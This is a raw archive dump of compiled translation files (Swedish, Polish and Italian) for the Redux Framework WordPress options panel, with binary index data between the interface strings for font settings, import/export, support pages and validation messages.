%2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�extensions directory�leave us a favorable review on WordPress.org�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Swedish (Sweden) (http://www.transifex.com/projects/p/redux-framework/language/sv_SE/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sv_SE Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktivera Demoinställning�Aktivera Utvecklings-plugins / Insticksprogram�Aktiv�Lägg till mer�Lägg till/redigera galleri�Alla�Alla grundinställningar återställda!�Tillåt s.k. 'tracking' spårning.�Är du säker? Återställning kommer ta bort alla standardvärden.�Är du säker? Återställning kommer att ta bort alla standardvärden.�Är du säker? Återställning kommer att ta bort alla standardvärden.�Automatisk åtgärd utförd: "%s"�Bakgrundsbilaga�Bakgrundsbild�Bakgrundsursprung�Position för bakgrund�Repetition av bakgrund�Storlek för bakgrund�Säkerhetsspara typsnittsfamilj�Ramstil�Botten�Webbläsare�Ändringslogg�Rensa galleri�Klicka här för att aktivera exempelkonfigurationsfil�Stäng�Credits�Avaktivera Demoinställningen�Avaktivera utvecklings-plugins / insticksprogram�Standard�Radera�Beskrivning�Utvecklare�Visste du att vi har tillägg som som i stor utsträckning förbättrar verktygen i Redux? Besök vår %1$s för att lära mer.�Inaktivera�Avfärda�Tillåt inte s.k. 'tracking' spårning.�E-post�Aktivera�Expandera�Exportinställningar�Tillägg�Typsnitt�Typsnittsfärg�Textfamilj�Teckentypsskript�Textsnittsstil�Teckedeluppsättningar�Från�Komma igång!�Google Webfonts /typsnitt�Höjd�Hjälp oss att förbättra Vår Panel�Här kan du kopiera/ladda ned dina nuvarande inställningar. Spara dessa på ett säkert ställe. Du kan använda dessa som om något skulle gå fel, eller så kan du använda dessa för att återställa dina inställningar för denna ´site´ (eller annan site).�Tips! �Sväva/hovra�om så, vänligen %1$s och överväg en donation om %2$s för att hjälpa utvecklingen av Redux framåt.�Om du vill hålla dig uppdaterad om allt kring Redux, vänligen prenumerera på vårt nyhetsbrev�Importera�Import / Export�Importinställningar�Importera från URL�Skriv in en URL för en annan sidas inställningar och 'klicka' på importera för att ladda hem dessa inställningar.�Hämta/markera din backup-fil nedan och klicka på ´Importera´ för att återställa din Site´s inställningar från en backup.�Vänster�Teckenmellanrum�Gilla Du Redux?�Måste uppdatera efter att "plugins_loaded" genomförts.�Namn�Nyhetsbrev�Inga objekt av denna typ funna.�Inga media valda�AV�PÅ�Funktioner�Funktionsobjekt�Funktionspanelen skapades med %1$s�Lösenord�Var vänlig vänta�Redux Tillägg�Funktioner:�Redux Framework har en inbäddad demo.�Redux Generator�Ordinarie/reguljär�Radera�Förråd�Återställ allt�Återställ sektionen�Höger�Spara Ändringar�Sektionsgrundinställningar - Återställda!�Välj till ett objekt�Inställningar har importerats!�Inställningarna är sparade!�Inställningarna har ändrats. Du bör spara dessa!�Visa Objekt i Javascript Console Object�Storlek�Standardtextsnitt�Status�Stil�Prenumerera�Delupsättningar�Support�Systeminformation�Textplacering�Textomvandling�Den okända åtgärden har blivit ersatt med "%s"�Tema�Detta fält får inte vara tomt - vänligen ange ett värde.�Detta fält måste innehålla en giltig färgkod.�Detta fält måste innehålla ett giltigt datum�Denna panel beskriver de många verktygen och funktionerna hos Redux. Innan du börjar testa runt, föreslår vi att du, för att snabbare komma igång, tittar igenom %1$s.�Titel�Till�Topp�Transparent�URL�Enheter�Okänd händelse för "%1$s" specifikt för %2$s�Ladda upp�Användare�Användarnamn�Version�Version %s�Visa %s�Besök tilläggets webbplats�Besökt�VARNING! Detta kommer att skriva över dina nuvarande inställda värden. Fortsätt med stor försiktighet!�Vill du komma igång snabbt? Använd %1$s. Denna skapar en individuellt anpassad plattform eller fristående adminmapp, komplett med allt runt Redux (med hjälp av Underscores och TGM). Bespara dig huvudvärken och testa redan idag.�Varning - Denna funktionspanel kommer inte att fungera korrekt utan Javascript!�Välkommen till Redux Demopanel�Vad är Nytt�Bredd�Ordmellanrum�Arbetar...�Du har inte tillräcklig behörighet för att få tillgång till denna sida.�Du har ändringar som ej sparats. Vill du spara dessa nu?�Du har ändringar som du inte sparat. Vill du spara dessa nu?�Du får inte mata in någon HTML i detta fält. Alla HTML-taggar har tagits bort.�Du får inte ange specialtecken i detta fält, alla specialtecken har tagits bort.�Du måste, för detta val, ange en kommaseparerad lista med numeriska värden.�Du måste ange ett numeriskt värde för detta val.�Du måste ange en giltig URL för detta alternativ�Du måste ange en giltig e-postadress för detta val.�Dina nuvarande inställningar kommer att ersättas med förinställda värden. Vill du fortsätta?�Dina nuvarande inställningar kommer att ersättas med denna förinställning. Vill du fortsätta?�donation�fel /(flera fel) funna!�tilläggskatalog�lämna en bra recension på WordPress.org�vår dokumentation�Varning (varningar) funna!������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-pl_PL.mo��������������������������������������������������0000644�����������������00000045025�14720701300�0016317 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������D��3��l������8�����9�����L�����i�����p��������������������������������5�����D������4���E�� ���z�� ���������������������������������������� ���'�����4�����;�� ���C�� ���P�� ���Z�� ���f��.���t������������ ��������������������������������������.�����6��)���N�����x�� ����� ����������l�������������!�����)�����?�����D�� ���W�����e�� ���l�����v�����}�� ����� ����� ����� ����� ����� ���������� ����� ����� ����� ��� �� ��������%�� ���+�����6�� ���M�����Y�����i�����y���������������d�����j�����������������Z���0��U������������������������������]���(��X���������� ��������������� ����� �����2����� ���R�����`�����e�� ���l��!���w��������������������������� ��������������� ��� ������� ��������+�� ����������������������������7��%���Q�����w������� �����W���������� ����� �������������$�� ���)�� ���3�����A�����G�� ���Y�����f���������������������� ���������������,�����(���, �����U �����^ �����c �����i �����x ����� �� ��� ����� ����� �� ��� �� ��� �� ��� ����� ����� �� ��� ��%���!�����'!��'���!�����!�����!����� "��.���"��6���"����� #��3���#��'���G#�� ���o#��y���#����� $�����$�����$�� ���$�����$$��3���($�����\$��(���b$�����$�����$�����$�����$�� ���$�����$�����$�����$��U���$�����/%�� ���?%�����J%��F���/&�����v&�����&�����&�����&�� ���&�����&�� ���&�����'�� ���'��;���)'��F���e'��E���'��K���'��b���>(��L���(��3���(��-���")��/���P)��a���)��`���)�����C*�����L*�����U*�����j*��J���*�����*��,���*�� ���+��,���+�����K+�����a+�����s+����+�����/����� /�����:/�����B/�����R/�����[/�����a/�����w/��4���/�����/��6���/��A���0��6���D0�� ���{0��&���0�����0�����0�����0�� ���0�����0�� ���0�����1�����1�����01�� ���61�����D1�� ���_1�����k1�����z1��<���1�����1�� ���1�� ���1�����1�����1�����2����� 2�����;2�����N2�� ���k2��$���u2��6���2�����2�����2�� ���2�����2������3�����3�����3�����3�� ���3�����3�� ���3�����3�� ���3�����3�����3�����4����� 4�����4�����+4�����<4�����O4�����`4�����~4�����4�����4�� ���4�����4�����4�����4�����4�����4�� ���4�����5�� ���5�����#5�����C5�� ���5�����5�� ���6�����6�����6��[���6��i���97�����7�����7�����7�����7�����7��Q���7��O���C8�����8�����8�����8�����8�� ���8�����8��+���8�� ���9�����!9�����'9�����/9��*���89�����c9�����u9�����{9�����9�� ���9��%���9�����9�����9�� ���9�����9�����9�����9�����:�����:�����:����� ;�� ���$;�����E;��'���a;�����;�����;�� ���;��]���;�����<�����<�� ���/<�����;<�� ���A<�����N<�����_<�����o<�����u<�� ���<��1���<�����<�����<�����<����� =�����=�����5=�����O=��7���m=��"���=�� ���=�����=�����=�����=�����=�����=�� ���>�� ��� >�����>����� >�����5>�����D>�����W>�����i>��!���>��-���>�����>��'���]?�����?�����?�����?��3���j@��9���@�����@��7���@��*���A��'���AA��~���iA�����A�����A�����A�����A�����B��L��� B�� ���XB��-���bB�� ���B�� ���B�����B�����B�� ���B�� ���B�� ���B�����B��+���C�����-C�� ���?C�����IC��W���=D�����D�����D��$���D��'���D�� ���E�� ���E�����+E�����GE�� ���]E��E���gE��M���E��G���E��W���CF��l���F��S���G��1���\G�����G��#���G��U���G��[���$H�����H�����H��+���H�����H��T���H�����&I��,���@I�����mI��1���|I�����I�����I��<���I�����S����������������W����������������)�������������������>���d������������y�������������������o����������V�������������,���K�������u���������������������������������������'�������������������� ���r������p������/���6����������������������������[���������������������;���a���������q�������]������F����������\�����������-���C�����������m�������������������� ���#��������������R���������4����������9���^������D���v���?�������������������G���H���n���M���������}��� ���I���P����������������������������z���������� ������=���l���������"�������������������Y������1���������������k���������������������������0�������O�������Q���L������f���:���c��������������8����������x�������������������s������g���i����������������5�������~�������������t��������������U�����������N���_������J���A���!���3���|�����������<������%������h������.������*������E������ ���j�������������$��� ��������������@���������������������������������������T�������B����������+����������b����������������������������w������{����������&������`��������������7������Z��������������������(�������������e�����������2��������������X����������������Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Browser Info�Changelog�Child Theme�Clear Gallery�Click here to activate the sample config file.�Close�Copied!�Copy Data�Copy Export URL�Copy for Support�Credits�Database Table Prefix�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default Timezone is UTC�Default timezone is %s - it should be UTC�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Docs�Download Data File�Email address�Enable�Error: %s�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Generate a Support URL�Get Support�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Home URL�Hover�How to Get Support�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from File�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Memory Limit�PHP Time Limit�PHP Version�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Posts Page�Redux Extensions�Redux Framework�Redux Framework - Support�Redux Framework - System Status�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux Instance: �Redux Version�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remote Get�Remote Post�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select Support Type�Select Your Support Type�Select an item�Server Environment�Server Info�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Site URL�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The URL of your site's homepage.�The default timezone for your server.�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The people that develop Redux Framework�The root URL of your site.�The theme developers URL.�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�The version of Redux Framework installed on your site.�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Unable to modify required files. Please ensure that�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�WP Memory Limit�WP Version�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What type of user are you?�What's New�Width�Word Spacing�WordPress Environment�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�is available�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Michal Holyszko Language-Team: Polish (Poland) (http://www.transifex.com/projects/p/redux-framework/language/pl_PL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pl_PL Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Aktywuj tryb Demo�Aktywuj Wtyczki Tworzenia�Aktywny�Aktywne Wtyczki�Dodaj %s�Dodaj�Dodaj/Edytuj Galerię�Wszystko�Wszystkie domyślne wartości zostały przywrócone!�Zezwól na śledzenie�Jesteś pewien? Utracisz wszystkie własne ustawienia.�Jesteś pewien? Utracisz wszystkie własne ustawienia tej sekcji.�Jesteś pewien? Utracisz wszystkie własne ustawienia.�URL Autora�Wykonana automatyczna czynność: "%s"�Zaczepienie tła�Obcięcie Tła�Początek Tła�Pozycja tła�Powtarzanie tła�Rozmiar tła�Zapasowy Krój Czcionki�Styl obramowania�Dół�Przeglądarka�Informacje o Przeglądarce�Lista zmian�Pokrewny Motyw�Wyczyść galerię�Kliknij tutal aby aktywować przykładowy plik konfiguracji.�Zamknij�Skopiowany!�Kopiuj Dane�Kopiuj URL Eksportu�Kopia dla Wsparcia�Podziękowania�Prefiks Tabeli Bazy Danych�Wyłącz tryb Demo�Dezaktywuj Wtyczki Tworzenia�Domyślny�Domyślną Strefą Czasową jest UTC�Domyślną strefą czasową jest %s - powinna być UTC�Usuń�Opis�Programista�Włączony Tryb Twórcy�Czy wiedziałeś, że mamy rozszerzenia, które znacznie zwiększają możliwości Redux? Odwiedź nasz %1$s, aby dowiedzieć się więcej!�Wyłącz�Ukryj�Wyłącz śledzenie�Dokumenty�Pobierz Plik Danych�Adres e-mail�Włącz�Błąd: %s�Rozwiń�Eksportuj opcje�Dodatki�Kolor czcionki�Krój Czcionki�Rozmiar Czcionki�Podzbiory czcionki�Wariant Czcionki�Grubość Czcionki & Styl�Kolor�Krój czcionki�Skrypt czcionki�Styl czcionki�Zbiór znaków�Od�Strona główna�Wygeneruj URL Wsparcia�Uzyskaj Wsparcie�Na Początek�Google Webfonts�Wysokość�Pomóż udoskonalić Nasz Panel�Tutaj możej skopiować/pobrać aktualne ustawienia. Zachowaj je, możesz ich użyć jako kopii zapasowej w przypadku awarii, przywrócić na tej lub innej witrynie.�Wskazówki�Wskazówki są podpowiedziami, które wyskakują gdy %d ikonę podpowiedzi, oferując dodatowe informacje o polu w którym się pojawiają. Mogą być &d poprzez użycie poniższego odsyłacza.�URL Domowy�Hover�Jak Uzyskać Wsparcie�Jeśli tak, prosimy %1$s i rozważenie zrobienia %2$s, aby utrzymać postęp rozwoju Redux.�Jeśli chciałbyś być na bieżąco w sprawach związanych z Redux, prosimy zapisz się na nasz biuletyn�Import�Import / Eksport�Importuj opcje�Importuj z Pliku�Importuj z adresu URL�Wpisz adres URL do innej strony opcji, z której chcesz zaimportować ustawienia.�Wstaw poniżej zawartość pliku kopii i kliknij Import aby załadować opcję.�Język�Czytaj więcej�Lewo�Odstępy pomiędzy znakami�Lubisz Redux?�Wysokość Linii�Musisz wywołać po akcji "plugins_loaded".�Wersja MySQL�Imię�Nowy %s�Biuletyn�Nie znaleziono żadnego objektu tego typu.�Nie wybrano pliku�Wył.�Wł.�Opcje�Objekt opcji�Panel opcji stworzony za pomocą %1$s�Limit Pamięci PHP�Limit Czasu PHP�Wersja PHP�Hasło�Proszę czekać�Prosimy, pomóż nam udoskonalić nasz panel poprzez zezwolenie nam na gromadzenie anonimowych statystyk używania, abyśmy wiedzieli jakie konfiguracje, wtyczki i motywy testować w celu zapewnienia kompatybilności�Strona Postów�Rozszerzenia Redux�Redux Framework�Redux Framework - Wsparcie�Redux Framework - Status Systemu�Lista Zmian Redux Framework�Redux Framework zawiera wbudowane demo.�Generator Redux�Instancja Redux:�Wersja Redux�Redux jest prostym, prawdziwie rozszerzalnym frameworkiem dla motywów i wtyczek WordPress'a.�Zwykły�Zdalne Pobieranie�Zdalny Wpis�Usuń�Repozytorium�Resetuj Wszystko�Resetuj Sekcję�Prawo�SUHOSIN Zainstalowany�Zapisz Zmiany�Domyślne wartości sekcji zostały przywrócone!�Wybierz Typ Wsparcia�Wybierz Swój Typ Wsparcia�Wybierz element�Środowisko Serwera�Informacje o Serwerze�Zaimportowano ustawienia.�Ustawienia zostały zapisane!�Ustawienia zostały zmienione, powinieneś je zapisać!�Pokaż Objekt w konsoli Javascript�URL Strony�Rozmiar�Slajd�Standardowe czcionki�Status�Styl�Subskrybuj�Podzbiory�Wsparcie�Informacje systemowe�Zespół Redux�Wyrównanie Tekstu�Ozdobienie Tekstu�Przekształcenie Tekstu�URL strony domowej twojej witryny�Domyślna strefa czasowa dla twojego serwera �Następujące katalogi i pliki są nadal zlokalizowane w Twoim katalogu <strong>Redux</strong>. Mogą one powodować błędy w Theme-Check.�Ludzie, którzy tworzą Redux Framework�Bazowy URL twojej strony�URL deweloperów motywu�Motyw, który testujesz posiada wbudowany %s. Zapraszamy Cię do przeczytania %sDokumentacji Theme-Check%s, aby zrozumieć niektóre ostrzeżenia, które zobaczysz z powodu Redux.�Nieznana czynność została zastąpiona przez "%s"�Wersja Redux Framework zainstalowanego na twojej stronie.�Motyw�To pole nie może być puste. Proszę podać wartość.�To pole wymaga poprawnej wartości koloru.�To pole musi zawierać poprawną datę.�Ten panel demonstruje wiele cech Redux. Przed zgłębianiem tematu sugerujemy, abyś wzmożył tempo poprzez przejrzenie %1$s.�Tytuł�Do�Góra�Przezroczysty �URL�Nie udało się zmodyfikować wymaganych plików. Upewnij się, proszę, że�Jednostki�Nieznana czynność "%1$s" określona do %2$s�Załaduj plik�Użytkownik�Nazwa użytkownika�Wersja�Wersja %s�Zobacz %s�Odwiedź stronę domową wtyczki�Visited�UWAGA! Wszystkie opcję zostaną nadpisane.�Limit Pamięci WP�Wersja WP�Chcesz zyskać przewagę? Użyj %1$s. Utworzy dostosowany uniwersalny motyw lub samodzielny folder administracyjny wypełniony wszystkim co stanowi Redux (z pomocą Underscores i TGM). Oszczędź sobie bólu głowy i wypróbuj go już dzisiaj.�Uwaga - Ten panel może nie działać prawidłowo bez włączonej obsługi Javascript!�Witaj w Redux Framework�Witaj w Redux Framework %s�Witaj w Panelu Demonstracyjnym Redux�Jakiego rodzaju użytkownikiem jesteś?�Co Nowego�Szerokość�Odstępy pomiędzy słowami�Środowisko WordPress�Czekaj...�Nie posiadasz wystarczających uprawnień, by wejść na tę stronę.�Posiadasz zmiany, które nie są zapisane. Czy chciałbyś je teraz zapisać?�Dokonane zmiany nie zostały jeszcze zapisane? Czy chcesz je zachować?�Nie możesz wpisać kodu HTML do tego pola. Wszelkie znaczniki HTML zostaną usunięte.�Nie możesz wpisać żadnych specjalnych znaków do tego pola. Wszystkie specjalne znaki zostaną usunięte.�Dla tej opcji musisz podać listę wartości numerycznych oddzielonych przecinkami.�Muisz podać wartość numeryczną dla tej opcji.�Musisz podać poprawny URL.�Musisz podać poprawny adres email.�Twoje aktualne opcje zostaną zastąpione tymi ustawieniami. Czy chcesz kontynuować?�Twoje aktualne ustawienia zostaną zastąpione tym zestawem opcji. Czy chcesz kontynuować?�klikanie�dotacja�błąd/błędów został(o) znaleziony(ch)!�katalog rozszerzeń�posiada odpowiednie uprawnienia odczytu/zapisu lub wprowadź poniżej swoje dane FTP�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�jest dostępny�zostaw nam przychylną recenzję na WordPress.org�przesuwanie myszą nad�nasza dokumentacja�ostrzeżenie/ostrzeżeń został(o) znalezione/znalezionych!������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-it_IT.mo��������������������������������������������������0000644�����������������00000035667�14720701300�0016334 0����������������������������������������������������������������������������������������������������ustar�00����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������| ������h�����i�����|�������������������������������������5�����D���!��4���f�� ����� ���������������������������������%�����5�� ���H�����U�����\�� ���d�� ���n��.���|���������������������������)���������� ���&�� ���2�����<��l���S���������������������� ��������������������� ����� ���!�� ���,�� ���8�� ���B�� ���O�����\�� ���t�� ����� ����� ����� ���������� ��������������������������������������������������Z�����U���M����������������������]�����X���7������������ ����� �����2����� ��������������� ��� ��!��������6�����H�����L�����O�����W�� ���f����������������� ���������� ��������������������%������������������������� ����� ������������� �� ��������*�����E�����T�����g��,���w��(����������������������������������� ��������������� ����� ���#�����.�����>��.���M�����|��3�����'����� �����y��������y������������ ���������������(������������������������� ������������������ ��U��������j��F���O����������������� ���������� ������ ��� ��;�����F���T��E�����K�����b���-��L�����3�����-��� ��/���? ��a���o ��`��� �����2!�����;!�����P!��J���e!�� ���!��,���!�����!�����!��i��"�����}%�����%�����%�� ���%�����%�����%�����%��'���%�����&��B���7&��M���z&��M���&�� ���'�� ���!'�����B'�� ���U'�����c'�����r'�����'�����'�����'�� ���'�����'�����'�� ���'�����'��=���(�����E(�����L(�����T(�����r(�� ���(��6���(�����(�� ���(�� ���(�����(�����)�� ���)�����)�����)�� ���)�����)�����)�� ���)�����)�� ��� *�����*�����(*�����;*�����P*�����k*�����~*�����*�����*�����*�����*�����*�����*�����*�����+�� ���+�����,+�����?+��'���G+����o+�� ���,�����,�����,��^���,��g���-�����-�����-�����-�����-��c���-��h���.�����.�����.�����.�����.��4���.�����.����� /�����/�� ���/��/���"/�����R/�����k/�����r/�����y/�����/�� ���/�����/�����/�����/�� ���/�����/�����/����� 0�����0�����0��'���0�����$1�����51�� ���=1�����G1�� ���L1�����Z1�����j1�����q1�����1��-���1�����1�����1�����1��1��� 2��$���;2�����`2�� ���i2�����t2�� ���{2�����2�����2�� ���2�� ���2�����2�����2�����2�����2�����2��2���3�����:3��C���?3��4���3��)���3�����3�����g4�����n4�����p4�� ���u4�����4�����4��.���4�����4�� ���4�� ���4�����4�� ���4�� ���4�����4�����5��l���%5�����5��T���h6�����6�����6��,���6�����'7�� ���:7�����D7�� ���V7��4���c7��=���7��=���7��Y���8��j���n8��Z���8��<���49��7���q9��C���9��`���9��g���N:�� ���:�����:�����:��Y���:�����H;��3���W;�����;�����;�����2���������������������������&�������������� ���R���������������-���Y���_������ �������l���A���������7���:�������q������Q����������U���|��������������d���6�������~���?���+���(���^���}���O�������������$�������������s�������������X���z�����������������H���v�������%������������������������i���j���������������������x���L���c���������������������\�������������a���4�����������������'���I���������`���������n�����������������������C������V�������Z������������������G�������������t�����������8�������u���[���@������N���������r���K���h���������5���<����������������k�������p���M��������������������������)���#����������S����������D����������3�������0���=�����������*������y��� ���������� ��� �����������P�����������������o���m�����������F�������������,������f���J������;����������{���/����������T���9���������������������������b������"������� �������]���1���g������>��������������.���!���E������e������������������w���W���B����Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default timezone is %s - it should be UTC�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Docs�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Get System Report�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Home URL�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Max Input Vars�PHP Post Max Size�PHP Time Limit�PHP Version�Password�Please Wait�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Redux Extensions�Redux Framework�Redux Framework has an embedded demo.�Redux Generator�Regular�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Site URL�Size�Slide�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Text Align�Text Decoration�Text Transform�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�is available�leave us a favorable review on WordPress.org�our documentation�warning(s) were found!�Project-Id-Version: 